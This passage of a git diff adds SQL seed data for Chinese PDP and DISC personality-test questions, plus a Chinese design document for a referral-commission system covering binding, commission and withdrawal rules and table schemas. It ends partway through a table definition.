'[{\"value\":\"Tiger\",\"text\":\"立即行动,快速完成\"},{\"value\":\"Peacock\",\"text\":\"召集团队,激励大家\"},{\"value\":\"Koala\",\"text\":\"冷静分析,稳步推进\"},{\"value\":\"Owl\",\"text\":\"仔细规划,确保无误\"},{\"value\":\"Chameleon\",\"text\":\"根据情况灵活应对\"}]', NULL, NULL, 1, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '在社交场合,您通常会:', '[{\"value\":\"Tiger\",\"text\":\"主导话题,引领讨论\"},{\"value\":\"Peacock\",\"text\":\"活跃气氛,成为焦点\"},{\"value\":\"Koala\",\"text\":\"安静倾听,适时回应\"},{\"value\":\"Owl\",\"text\":\"观察分析,选择性交流\"},{\"value\":\"Chameleon\",\"text\":\"根据对象调整方式\"}]', NULL, NULL, 2, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您最看重工作中的:', '[{\"value\":\"Tiger\",\"text\":\"权力和成就\"},{\"value\":\"Peacock\",\"text\":\"认可和赞赏\"},{\"value\":\"Koala\",\"text\":\"稳定和和谐\"},{\"value\":\"Owl\",\"text\":\"准确和质量\"},{\"value\":\"Chameleon\",\"text\":\"平衡和适应\"}]', NULL, NULL, 3, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '处理冲突时,您倾向于:', '[{\"value\":\"Tiger\",\"text\":\"直接面对,迅速解决\"},{\"value\":\"Peacock\",\"text\":\"调解双方,化解矛盾\"},{\"value\":\"Koala\",\"text\":\"避免冲突,维护和平\"},{\"value\":\"Owl\",\"text\":\"分析原因,理性处理\"},{\"value\":\"Chameleon\",\"text\":\"灵活应对,视情况而定\"}]', NULL, NULL, 4, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的决策风格是:', '[{\"value\":\"Tiger\",\"text\":\"果断迅速,行动导向\"},{\"value\":\"Peacock\",\"text\":\"直觉判断,情感驱动\"},{\"value\":\"Koala\",\"text\":\"深思熟虑,追求共识\"},{\"value\":\"Owl\",\"text\":\"数据分析,逻辑推理\"},{\"value\":\"Chameleon\",\"text\":\"综合考虑,灵活决策\"}]', NULL, NULL, 5, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '面对压力,您会:', '[{\"value\":\"Tiger\",\"text\":\"更加强势,控制局面\"},{\"value\":\"Peacock\",\"text\":\"寻求支持,表达情绪\"},{\"value\":\"Koala\",\"text\":\"保持冷静,稳定情绪\"},{\"value\":\"Owl\",\"text\":\"更加谨慎,反复确认\"},{\"value\":\"Chameleon\",\"text\":\"调整策略,灵活应对\"}]', NULL, NULL, 6, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的领导风格是:', '[{\"value\":\"Tiger\",\"text\":\"指挥型,明确方向\"},{\"value\":\"Peacock\",\"text\":\"激励型,鼓舞士气\"},{\"value\":\"Koala\",\"text\":\"支持型,关怀团队\"},{\"value\":\"Owl\",\"text\":\"专家型,以身作则\"},{\"value\":\"Chameleon\",\"text\":\"教练型,因材施教\"}]', NULL, NULL, 7, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您处理细节的方式是:', '[{\"value\":\"Tiger\",\"text\":\"关注大局,委托他人\"},{\"value\":\"Peacock\",\"text\":\"可能忽略,更重整体\"},{\"value\":\"Koala\",\"text\":\"认真对待,确保准确\"},{\"value\":\"Owl\",\"text\":\"极度重视,追求完美\"},{\"value\":\"Chameleon\",\"text\":\"视情况决定关注程度\"}]', NULL, NULL, 8, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的沟通方式是:', '[{\"value\":\"Tiger\",\"text\":\"直接简短,注重结果\"},{\"value\":\"Peacock\",\"text\":\"热情生动,富有感染力\"},{\"value\":\"Koala\",\"text\":\"温和耐心,善于倾听\"},{\"value\":\"Owl\",\"text\":\"逻辑清晰,注重事实\"},{\"value\":\"Chameleon\",\"text\":\"根据对象调整方式\"}]', NULL, NULL, 9, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您对变化的态度是:', '[{\"value\":\"Tiger\",\"text\":\"主动推动,寻找机会\"},{\"value\":\"Peacock\",\"text\":\"积极拥抱,乐观面对\"},{\"value\":\"Koala\",\"text\":\"需要适应时间\"},{\"value\":\"Owl\",\"text\":\"谨慎评估,确保万全\"},{\"value\":\"Chameleon\",\"text\":\"灵活适应,随机应变\"}]', NULL, NULL, 10, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的时间管理风格是:', '[{\"value\":\"Tiger\",\"text\":\"高效利用,追求速度\"},{\"value\":\"Peacock\",\"text\":\"灵活安排,留有余地\"},{\"value\":\"Koala\",\"text\":\"按部就班,稳定执行\"},{\"value\":\"Owl\",\"text\":\"精确规划,严格执行\"},{\"value\":\"Chameleon\",\"text\":\"根据情况调整计划\"}]', NULL, NULL, 11, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您被什么激励:', '[{\"value\":\"Tiger\",\"text\":\"成就和权力\"},{\"value\":\"Peacock\",\"text\":\"认可和赞赏\"},{\"value\":\"Koala\",\"text\":\"安全和归属\"},{\"value\":\"Owl\",\"text\":\"正确和标准\"},{\"value\":\"Chameleon\",\"text\":\"多样性和平衡\"}]', NULL, NULL, 12, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的学习方式是:', '[{\"value\":\"Tiger\",\"text\":\"边做边学,实践第一\"},{\"value\":\"Peacock\",\"text\":\"互动讨论,分享学习\"},{\"value\":\"Koala\",\"text\":\"循序渐进,反复练习\"},{\"value\":\"Owl\",\"text\":\"深入研究,系统学习\"},{\"value\":\"Chameleon\",\"text\":\"多种方式结合\"}]', NULL, NULL, 13, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您对规则的态度是:', '[{\"value\":\"Tiger\",\"text\":\"规则是用来打破的\"},{\"value\":\"Peacock\",\"text\":\"灵活运用,不拘一格\"},{\"value\":\"Koala\",\"text\":\"遵守规则,维护秩序\"},{\"value\":\"Owl\",\"text\":\"严格遵守,确保合规\"},{\"value\":\"Chameleon\",\"text\":\"视情况灵活处理\"}]', NULL, NULL, 14, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您在团队中的角色是:', '[{\"value\":\"Tiger\",\"text\":\"领导者,推动进展\"},{\"value\":\"Peacock\",\"text\":\"激励者,凝聚人心\"},{\"value\":\"Koala\",\"text\":\"协调者,维护和谐\"},{\"value\":\"Owl\",\"text\":\"专家,提供专业意见\"},{\"value\":\"Chameleon\",\"text\":\"多面手,灵活补位\"}]', NULL, NULL, 15, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的工作节奏是:', '[{\"value\":\"Tiger\",\"text\":\"快节奏,追求效率\"},{\"value\":\"Peacock\",\"text\":\"充满活力,变化多端\"},{\"value\":\"Koala\",\"text\":\"稳定有序,按部就班\"},{\"value\":\"Owl\",\"text\":\"有条理,精确执行\"},{\"value\":\"Chameleon\",\"text\":\"根据需要调整节奏\"}]', NULL, NULL, 16, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您最大的优势是:', '[{\"value\":\"Tiger\",\"text\":\"决断力和执行力\"},{\"value\":\"Peacock\",\"text\":\"影响力和感染力\"},{\"value\":\"Koala\",\"text\":\"耐心和可靠性\"},{\"value\":\"Owl\",\"text\":\"分析力和准确性\"},{\"value\":\"Chameleon\",\"text\":\"适应力和灵活性\"}]', NULL, NULL, 17, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的人际关系特点是:', '[{\"value\":\"Tiger\",\"text\":\"目标导向,建立有价值的关系\"},{\"value\":\"Peacock\",\"text\":\"广泛社交,朋友众多\"},{\"value\":\"Koala\",\"text\":\"深度交往,关系稳定\"},{\"value\":\"Owl\",\"text\":\"选择性交往,志同道合\"},{\"value\":\"Chameleon\",\"text\":\"根据情况建立不同类型关系\"}]', NULL, NULL, 18, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '面对批评,您的反应是:', '[{\"value\":\"Tiger\",\"text\":\"可能会反驳或辩护\"},{\"value\":\"Peacock\",\"text\":\"可能会感到受伤\"},{\"value\":\"Koala\",\"text\":\"接受并思考改进\"},{\"value\":\"Owl\",\"text\":\"分析批评的合理性\"},{\"value\":\"Chameleon\",\"text\":\"根据情况调整反应\"}]', NULL, NULL, 19, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的理想工作环境是:', '[{\"value\":\"Tiger\",\"text\":\"充满挑战,自主权高\"},{\"value\":\"Peacock\",\"text\":\"互动频繁,氛围活跃\"},{\"value\":\"Koala\",\"text\":\"稳定和谐,团队协作\"},{\"value\":\"Owl\",\"text\":\"有序规范,专注质量\"},{\"value\":\"Chameleon\",\"text\":\"灵活多变,兼顾平衡\"}]', NULL, NULL, 20, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); + +-- disc 题库数据 +-- enterpriseId: NULL (超管题库) + +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '在团队中,您更倾向于:', '[{\"value\":\"D\",\"text\":\"主导决策,带领团队前进\"},{\"value\":\"I\",\"text\":\"活跃气氛,激励团队成员\"},{\"value\":\"S\",\"text\":\"支持他人,确保团队和谐\"},{\"value\":\"C\",\"text\":\"分析数据,确保决策质量\"}]', NULL, NULL, 1, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '面对挑战时,您的第一反应是:', '[{\"value\":\"D\",\"text\":\"立即行动,解决问题\"},{\"value\":\"I\",\"text\":\"寻找支持,团队协作\"},{\"value\":\"S\",\"text\":\"冷静思考,稳步推进\"},{\"value\":\"C\",\"text\":\"收集信息,谨慎分析\"}]', NULL, NULL, 2, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您在工作中最看重的是:', '[{\"value\":\"D\",\"text\":\"成果和效率\"},{\"value\":\"I\",\"text\":\"认可和赞赏\"},{\"value\":\"S\",\"text\":\"稳定和安全\"},{\"value\":\"C\",\"text\":\"准确和质量\"}]', NULL, NULL, 3, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '与他人沟通时,您通常:', '[{\"value\":\"D\",\"text\":\"直接了当,注重结果\"},{\"value\":\"I\",\"text\":\"热情友好,善于表达\"},{\"value\":\"S\",\"text\":\"耐心倾听,体贴理解\"},{\"value\":\"C\",\"text\":\"逻辑清晰,注重细节\"}]', NULL, NULL, 4, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '压力之下,您会:', '[{\"value\":\"D\",\"text\":\"变得更加强势和控制\"},{\"value\":\"I\",\"text\":\"寻求他人支持和鼓励\"},{\"value\":\"S\",\"text\":\"保持冷静,按部就班\"},{\"value\":\"C\",\"text\":\"更加谨慎,反复确认\"}]', NULL, NULL, 5, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您认为自己的优势是:', '[{\"value\":\"D\",\"text\":\"决断力强,行动迅速\"},{\"value\":\"I\",\"text\":\"人际关系好,善于激励\"},{\"value\":\"S\",\"text\":\"可靠稳定,团队协作\"},{\"value\":\"C\",\"text\":\"分析能力强,注重细节\"}]', NULL, NULL, 6, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '在会议中,您通常扮演的角色是:', '[{\"value\":\"D\",\"text\":\"主导者,推动决策\"},{\"value\":\"I\",\"text\":\"激励者,调动气氛\"},{\"value\":\"S\",\"text\":\"调和者,平衡各方\"},{\"value\":\"C\",\"text\":\"分析者,提供数据\"}]', NULL, NULL, 7, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您最不喜欢的工作环境是:', '[{\"value\":\"D\",\"text\":\"缺乏挑战,进展缓慢\"},{\"value\":\"I\",\"text\":\"被孤立,缺乏互动\"},{\"value\":\"S\",\"text\":\"变化太快,不稳定\"},{\"value\":\"C\",\"text\":\"混乱无序,缺乏标准\"}]', NULL, NULL, 8, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '做决定时,您更依赖:', '[{\"value\":\"D\",\"text\":\"直觉和经验\"},{\"value\":\"I\",\"text\":\"他人的意见\"},{\"value\":\"S\",\"text\":\"过去的成功经验\"},{\"value\":\"C\",\"text\":\"数据和事实\"}]', NULL, NULL, 9, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您的工作风格是:', '[{\"value\":\"D\",\"text\":\"快速高效,注重结果\"},{\"value\":\"I\",\"text\":\"灵活多变,充满创意\"},{\"value\":\"S\",\"text\":\"稳定持续,一步一步\"},{\"value\":\"C\",\"text\":\"严谨细致,追求完美\"}]', NULL, NULL, 10, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '遇到冲突时,您会:', '[{\"value\":\"D\",\"text\":\"直面冲突,解决问题\"},{\"value\":\"I\",\"text\":\"调解双方,化解矛盾\"},{\"value\":\"S\",\"text\":\"避免冲突,保持和谐\"},{\"value\":\"C\",\"text\":\"分析原因,找出根本\"}]', NULL, NULL, 11, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您期望的领导风格是:', '[{\"value\":\"D\",\"text\":\"给予挑战和自主权\"},{\"value\":\"I\",\"text\":\"认可和表扬\"},{\"value\":\"S\",\"text\":\"稳定和支持\"},{\"value\":\"C\",\"text\":\"明确的指导和标准\"}]', NULL, NULL, 12, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '处理任务时,您更注重:', '[{\"value\":\"D\",\"text\":\"速度和效率\"},{\"value\":\"I\",\"text\":\"创意和新颖\"},{\"value\":\"S\",\"text\":\"过程和协作\"},{\"value\":\"C\",\"text\":\"质量和准确\"}]', NULL, NULL, 13, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您的社交方式是:', '[{\"value\":\"D\",\"text\":\"目的明确,建立有价值的关系\"},{\"value\":\"I\",\"text\":\"广泛社交,认识各种人\"},{\"value\":\"S\",\"text\":\"深度交往,维护长期友谊\"},{\"value\":\"C\",\"text\":\"选择性社交,志同道合\"}]', NULL, NULL, 14, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您理想的工作节奏是:', '[{\"value\":\"D\",\"text\":\"快节奏,充满挑战\"},{\"value\":\"I\",\"text\":\"灵活多变,充满活力\"},{\"value\":\"S\",\"text\":\"稳定有序,可预测的\"},{\"value\":\"C\",\"text\":\"有条理,按计划进行\"}]', NULL, NULL, 15, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '面对变化,您的态度是:', '[{\"value\":\"D\",\"text\":\"主动拥抱,寻找机会\"},{\"value\":\"I\",\"text\":\"积极适应,乐观面对\"},{\"value\":\"S\",\"text\":\"需要时间,逐步适应\"},{\"value\":\"C\",\"text\":\"谨慎评估,确保万无一失\"}]', NULL, NULL, 16, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您的时间管理风格是:', '[{\"value\":\"D\",\"text\":\"高效利用,最大化产出\"},{\"value\":\"I\",\"text\":\"灵活安排,留有余地\"},{\"value\":\"S\",\"text\":\"按部就班,稳定执行\"},{\"value\":\"C\",\"text\":\"精确规划,严格执行\"}]', NULL, NULL, 17, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '激励您的是:', '[{\"value\":\"D\",\"text\":\"成就和控制\"},{\"value\":\"I\",\"text\":\"认可和社交\"},{\"value\":\"S\",\"text\":\"稳定和归属\"},{\"value\":\"C\",\"text\":\"正确和标准\"}]', NULL, NULL, 18, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您处理细节的方式是:', '[{\"value\":\"D\",\"text\":\"关注大局,委托他人\"},{\"value\":\"I\",\"text\":\"可能忽略,更关注整体\"},{\"value\":\"S\",\"text\":\"认真对待,确保准确\"},{\"value\":\"C\",\"text\":\"极度重视,追求完美\"}]', NULL, NULL, 19, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('disc', '您对规则的态度是:', '[{\"value\":\"D\",\"text\":\"规则是用来打破的\"},{\"value\":\"I\",\"text\":\"灵活运用,不拘泥于规则\"},{\"value\":\"S\",\"text\":\"遵守规则,维护秩序\"},{\"value\":\"C\",\"text\":\"严格遵守,确保合规\"}]', NULL, NULL, 20, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); + +SET FOREIGN_KEY_CHECKS = 1; diff --git a/api/docs/distribution-design.md b/api/docs/distribution-design.md new file mode 100644 index 0000000..32413fd --- /dev/null +++ b/api/docs/distribution-design.md @@ -0,0 +1,364 @@ +# 分销系统设计文档 + +> 版本:v1.4 +> 日期:2026-03-06 +> 作者:AI 设计稿(待确认) + +--- + +## 一、功能概述 + +本系统分销分为两个维度: + +| 维度 | 配置来源 | 佣金来源 | 管理入口 | +|------|---------|---------|---------| +| **个人版分销** | 超管后台配置 | 平台微信支付订单收款 | 超管端 | +| **企业版分销** | 企业管理员后台配置 | 企业账户余额 | 管理端(admin) | + +--- + +## 二、核心业务规则 + +### 2.1 绑定规则 + +| 规则 | 说明 | +|------|------| +| 绑定方式 | 用户 A 分享专属链接/海报,用户 B 通过链接进入小程序,系统自动建立 A → B 的绑定关系 | +| 有效期 | **30 天**,从绑定时刻起计算,到期自动解除 | +| **续期机制** | B 在绑定有效期内**再次点击 A 的链接**(同一推荐人),有效期从点击时刻**重置为 30 天**;举例:昨天 A→B 绑定剩余 29 天,今天 B 再次点击 A 的链接,有效期重新变为 30 天 | +| 抢绑机制 | 支持覆盖绑定:A 已绑定了 B,C 再分享给 B 后,B 的推荐人变更为 C(新绑定覆盖旧绑定,重新计算 30 天) | +| **禁止互相绑定** | 仅当 A→B 在有效期内时:B 再分享给 A,A 扫码不能绑定 B(静默忽略);若 A→B 已过期,则 A 扫码可以绑定 B | +| 绑定时机 | 用户点击推广链接进入小程序 `onLoad` 时,识别 `uid`(推荐人ID)写入/更新绑定记录 | +| 例外情况 | 用户已付款订单对应的绑定关系不会因抢绑而撤销(付款时的绑定快照保留) | + +### 2.2 佣金规则(付款触发) + +| 规则 | 说明 | +|------|------| +| 触发时机 | 被邀请用户**完成付款**时触发佣金计算 | +| 佣金比例 | 优先使用与订单 scope 匹配的配置;回退匹配时使用个人版(超管)配置 | +| 计算基数 | 订单实付金额(分)| +| 佣金归属 | 按付款时刻的绑定关系确认推荐人,快照写入佣金记录,后续抢绑不影响已有佣金 | +| **跨 scope 回退** | 若订单 scope 下无匹配绑定(如企业版订单但推荐人仅有个人版绑定),则回退查找该用户任意有效的 `personal` 绑定;命中后以**个人版佣金配置**结算,但只要命中企业上下文,佣金资金仍优先从该企业余额扣除 | + +### 2.3 测试完成佣金(免付款触发) + +| 规则 | 说明 | +|------|------| +| 触发时机 | 用户**完成指定类型测试并提交结果**时触发,无需付款 | +| 适用类型 | 人脸分析(face)、MBTI、DISC、PDP,各自独立开关 | +| 佣金金额 | 每种类型单独配置固定金额(元),非比例 | +| 佣金来源 | 无企业上下文时由平台发放;若命中企业上下文,则优先扣减企业余额,余额不足时冻结,待企业补余额后解冻 | +| 防重机制 | 同一 `testResultId` 只结算一次,重复提交不产生多条佣金 | +| 配置入口 | 超管后台 → 分销设置 → 测试完成佣金 | +| 全局开关 | 超管可一键关闭整个「测试完成佣金」功能 | +| 前提条件 | 用户须有有效的 `personal` scope 绑定关系(invitee → inviter),企业版绑定不触发 | + +### 2.4 企业版特有规则 + +| 规则 | 说明 | +|------|------| +| 佣金资金来源 | 只要佣金记录命中**企业上下文**,都扣除企业账户余额(`enterprises.balance`)| +| 余额充足 | 触发佣金时立即从企业余额扣款,佣金状态置为 `paid`,推荐人可提现 | +| 余额不足 | 佣金状态置为 `frozen`(冻结),企业补余额后系统扫描待解冻记录,余额充足则自动解冻并扣款 | +| 解冻顺序 | 按佣金记录的 `createdAt` 升序(先冻先解)| + +--- + +## 三、数据库设计 + +### 3.1 新增表:`distribution_bindings`(绑定记录) + +```sql +CREATE TABLE `mbti_distribution_bindings` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', + `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', + `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', + `scope` varchar(20) NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', + `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', + `status` varchar(20) NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden(被抢绑覆盖)', + `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID(抢绑时记录上一任推荐人)', + `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`id`), + UNIQUE KEY `uk_invitee_scope_ent` (`inviteeId`, `scope`, `enterpriseId`), + INDEX `idx_inviterId` (`inviterId`), + INDEX `idx_inviteeId` (`inviteeId`), + INDEX `idx_prevInviterId` (`prevInviterId`), + INDEX `idx_expireAt` (`expireAt`), + INDEX `idx_status` (`status`) +) ENGINE=InnoDB COMMENT='分销绑定记录表'; +``` + +> **说明**: +> - `(inviteeId, scope, enterpriseId)` 联合唯一索引保证同一被推荐人在同一维度下只有一条 active 记录。 +> - 抢绑时:将当前 `inviterId` 写入 `prevInviterId`,再将 `inviterId` 更新为新推荐人,同时记录 `overriddenAt`,保留完整的历史推荐链路,便于管理端溯源。 +> - 续期时(同一推荐人再次点击):仅更新 `expireAt` 和 `updatedAt`,`prevInviterId` 不变。 + +--- + +### 3.2 改造表:`distribution_commission_records`(佣金记录) + +在现有 `mbti_commission_records` 基础上新增字段: + +```sql +ALTER TABLE `mbti_commission_records` + ADD COLUMN `scope` varchar(20) NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', + ADD COLUMN `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版佣金)', + ADD COLUMN `inviterId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', + ADD COLUMN `inviteeId` int(11) NOT NULL COMMENT '付款用户 wechat_users.id', + ADD COLUMN `bindingId` int(11) NOT NULL COMMENT '触发此佣金的绑定记录ID', + ADD COLUMN `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)', + ADD COLUMN `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)', + ADD COLUMN `frozenAt` int(11) NULL COMMENT '冻结时间(企业余额不足时)', + ADD COLUMN `unfrozenAt` int(11) NULL COMMENT '解冻时间', + MODIFY COLUMN `status` varchar(20) DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled', + ADD INDEX `idx_scope` (`scope`), + ADD INDEX `idx_enterpriseId` (`enterpriseId`), + ADD INDEX `idx_inviterId` (`inviterId`), + ADD INDEX `idx_status` (`status`); +``` + +**佣金状态流转**: + +``` +pending → paid (个人版:订单付款成功后自动结算) +pending → paid (企业版:企业余额充足,扣款成功) +pending → frozen (企业版:企业余额不足) +frozen → paid (企业充值后,系统解冻扫描) +pending/frozen → cancelled (订单退款时撤销) +``` + +--- + +### 3.3 新增:推荐人钱包余额字段(`wechat_users`) + +```sql +ALTER TABLE `mbti_wechat_users` + ADD COLUMN `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)', + ADD COLUMN `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)', + ADD COLUMN `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)'; +``` + +--- + +### 3.4 新增表:`distribution_withdrawals`(提现记录) + +```sql +CREATE TABLE `mbti_distribution_withdrawals` ( + `id` int(11) UNSIGNED NOT NULL 